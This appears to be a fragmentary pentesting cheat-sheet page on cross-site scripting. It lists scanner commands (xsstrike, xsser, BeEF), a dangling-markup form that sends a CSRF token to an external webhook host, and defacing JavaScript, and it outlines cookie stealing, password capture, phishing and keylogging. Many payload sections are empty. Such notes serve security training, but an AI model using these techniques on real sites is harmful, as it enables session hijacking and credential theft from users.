XSS
Cross Site Scripting.
Occurs when incorrectly programmed input can be used to insert HTML or execute code (JavaScript) in a user's web browser.
Types:
Reflected
Stored
DOM-based
Blind
Steps:
Search for inputs that are displayed
Understand type and if it is
TAGorATTRIBUTEXSSTry special characters:
<>‘“{};Try evasion techniques
Exploitation (choosing attack type)
Tools
XSS scanner.
xsstrike -u "<URL>" --crawl -l 4 (crawling)
xsstrike -u "<URL>?q=query" (GET)
xsstrike -u "<URL>" --data "q=query" (POST)
xsstrike -u "<URL>" —fuzzer (filters and WAF detect)
An automatic framework to detect, exploit and report XSS vulnerabilities.
xsser --wizard (guided start)
xsser --gtk (GUI)
Very powerful combined with XSS vulnerability. BeEF is able to provide a URL that if opened by the victim is able to establish a link (HOOK).
Edit /etc/beef-xss/config.yaml or beef/config.yaml
Be careful and try with quote and tag injection to escape the syntax.
XSS
It is essential to repair the script following the XSS context, because any syntax errors there will prevent the whole script from executing.
Trigger
Sources
Sinks
Dangerous pattern containing the logical OR operator in conjunction with a global variable.
Try to inject the following HTML to clobber the someObject reference with an anchor element
ex.
Extra
Trigger action without user interaction
SVG change attribute
Autofocus
Key user interaction (no space)
Script tag (the browser first performs HTML parsing to identify the page elements including blocks of script, and only later performs JavaScript parsing to understand and execute the embedded scripts)
Param in function
csrf
Dangling Markup
<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required="" type="email" value="x">
</form>
<form class="login-form" name="my-form" action="https://webhook/" method="GET">
<button class="button" type="submit">CLICK</button">
<input required type="hidden" name="csrf" value="[value]">
The csrf will be sent in the GET.
Obfuscation and Escape
Blind XSS
It occurs when the XSS vulnerability is triggered on a page we do not have access to. This means that we will not see how our input will be handled or how it will appear in the browser.
Having on your own server
Types of attacks
Cookie Stealing
The goal is to steal the session cookie. Once you get the session cookie you can use it and enter it into your browser to access the victim's session.
To organize cookies, on your server:
csrf
Capture Passwords
These days, many users have password managers that auto-fill their passwords. You can take advantage of this by creating a password input, reading out the auto-filled password, and sending it to your own domain.
csrf
Defacing
Change the appearance of the web page. This is done through JavaScript functions; the same elements can be written differently and perhaps more compactly with jQuery if present.
Adds HTML elements
document.write()
JQuery: add(), after(), append()
Background color
document.body.style.background
document.body.style.background = "#141d2b"
document.body.style.background = "black"
Background with image
document.body.background
document.body.background = "<https://www.hackthebox.eu/images/logo-htb.svg>"
Page title
document.title
document.title = 'HackTheBox Academy'
Page elements
DOM.innerHTML
DOM.outerHTML
document.getElementById("todo").innerHTML = "New Text"
document.getElementsByTagName('body')[0].innerHTML = "New Text"
(change the first body, usually the only one)
Removing elements
DOM.remove()
document.getElementById("todo").remove()
es.
Phishing
Through XSS, it is possible to insert self-created login forms inside trusted pages, making them very dangerous.
Need to edit and delete the other elements of the page, see Defacing. Convert payload to a single line with MinifyHTML or see Java Deobfuscation.
To organize requests, on your server:
Keylogging
Getting the keys pressed by the victim.
Content Security Policy
Browser security mechanism that aims to mitigate XSS and some other attacks.
HTTP response header called Content-Security-Policy with a value containing the policy. The policy itself consists of one or more directives, separated by semicolons.
CSP policy injection
"script-src-elem" directive allows you to control just script blocks and was created so that you can allow event handlers but block script elements (it will overwrite existing script-src directives!).
Last updated
Was this helpful?